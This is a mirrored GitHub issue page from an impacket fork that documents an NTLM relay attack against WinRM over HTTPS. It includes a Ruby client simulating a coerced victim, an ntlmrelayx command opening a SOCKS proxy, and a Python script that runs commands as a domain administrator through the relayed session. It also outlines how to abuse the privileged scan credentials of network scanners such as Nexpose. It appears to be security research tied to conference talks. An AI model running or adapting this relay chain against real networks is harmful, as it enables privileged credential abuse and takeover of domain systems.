Giter Site home page Giter Site logo

jmk-foofus / impacket Goto Github PK

View Code? Open in Web Editor NEW

This project forked from fortra/impacket

1.0 1.0 0.0 9.9 MB

Impacket is a collection of Python classes for working with network protocols.

Home Page: https://www.coresecurity.com

License: Other

Python 99.99% Dockerfile 0.01%

impacket's People

Contributors

0xdeaddood avatar alexisbalbachan avatar anadrianmanrique avatar asolino avatar cclauss avatar cnotin avatar contactr2m avatar cube0x0 avatar dirkjanm avatar dramelac avatar exploide avatar franferrax avatar gabrielg5 avatar gifts avatar kacpern avatar martingalloar avatar martinuy avatar mohemiv avatar mpgn avatar mrande7son avatar ntalexio2 avatar p0dalirius avatar rdubourguais avatar rmaksimov avatar saerxcit avatar sanmopre avatar shutdownrepo avatar snovvcrash avatar unc1739 avatar zexusx26 avatar

Stargazers

 avatar

impacket's Issues

WinRM Relay Documentation

BoomerSec: 25 Years of Abusing Microsoft Windows Passwords

MadSec 2023/12/12 Presentation (YouTube) [37:53]
CypherCon 2024 Overview

Example 1: PoC (Manual Trigger)

The following is a simple proof-of-concept of relaying WinRM with the modified ntlmrelayx tool.

A Ruby script is used to simulate a client connecting to our service and attempting to authenticate. This initial client connection is done using WinRM over HTTP (5985/tcp). In a real world scenario, this would be coerced in some manner. The relay server running ntlmrelayx bounces the connection to our target server using WinRM over HTTPS (5986/tcp). It further opens a local SOCKS proxy. The attacker then sends WinRM commands through the SOCKS proxy and abuses the established authenticated session.

The target server is a basic Windows 2019 domain-joined installation. It has WinRM configured for HTTPS (5986/tcp). The default WinRM channel binding token policy in this configuration is "Relaxed". This means that if the client does not supply a CBT, no anti-relay restrictions are enforced. The WinRM client does not include a CBT, which enables our relay to work. The target service must be WinRM over HTTPS. The default unencrypted WinRM over HTTP (5985/tcp) encrypts the message body using the client's NTLM hash, breaking the relay attack.

  • Relay Target

    • Windows Server 2019 (192.168.10.10)
    • WinRM (HTTPS) Install
  • Client (Coerced Victim)

    • Ubuntu 22.04 (192.168.10.20)
    • PoC simulated coercion (winrm-client.rb)
#!/usr/bin/ruby

require 'winrm'
opts = { 
  endpoint: 'http://192.168.10.30:5985/wsman',
  user: 'DOMAIN\Administrator',
  password: 'TheAccount'sLegitPassword',
}
conn = WinRM::Connection.new(opts)
conn.shell(:powershell) do |shell|
  output = shell.run('hostname') do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end
  • Attacker
    • Kali (192.168.10.30)
    • Relay server (ntlmrelayx.py, winrm-attack.py)
ntlmrelayx.py -t "winrms://192.168.10.10" -socks
proxychains winrm-attack.py
#!/usr/bin/python3

import winrm

host = 'https://192.168.10.10:5986'
domain = 'DOMAIN'
user = 'Administrator'
password = 'NotTheRealPassword'

session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='basic', server_cert_validation='ignore')

result = session.run_ps('hostname')
print(result)
result = session.run_ps('whoami')
print(result)

Example 2: PoC (Network Scanner)

A potential real world abuse scenario for the WinRM relay has a corporate network scanner as the client. For example, multiple network discovery tools and vulnerability scanners (e.g., Rapid7 Nexpose) use WinRM to "discover" assets. Their documentation further typically guides users to configure the authenticated scans to use privileged domain credentials. A malicious actor simply needs to be running the relay while a network scan is being performed. As many organisations perform nightly or weekly scans, it is reasonable to assume that intercepting a scan is plausible.

Fix Hostname Resolution

IP addresses must be used, as ntlmrelayx appears to have issues resolving hostname and matching proxy connections.

Fix Nexpose Challenge/Response Session Management

Test case: Rapid7 Nexpose configured for basic authenticated scan against relay server. 5985/tcp is only configured scan port, and scan template is a limited CIS benchmark. The scan appears to be sending too many requests for ntlmrelayx to track. The target server's challenges are being applied to the incorrect responses.Solving this issue is critical to the attack being useful in the real world.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.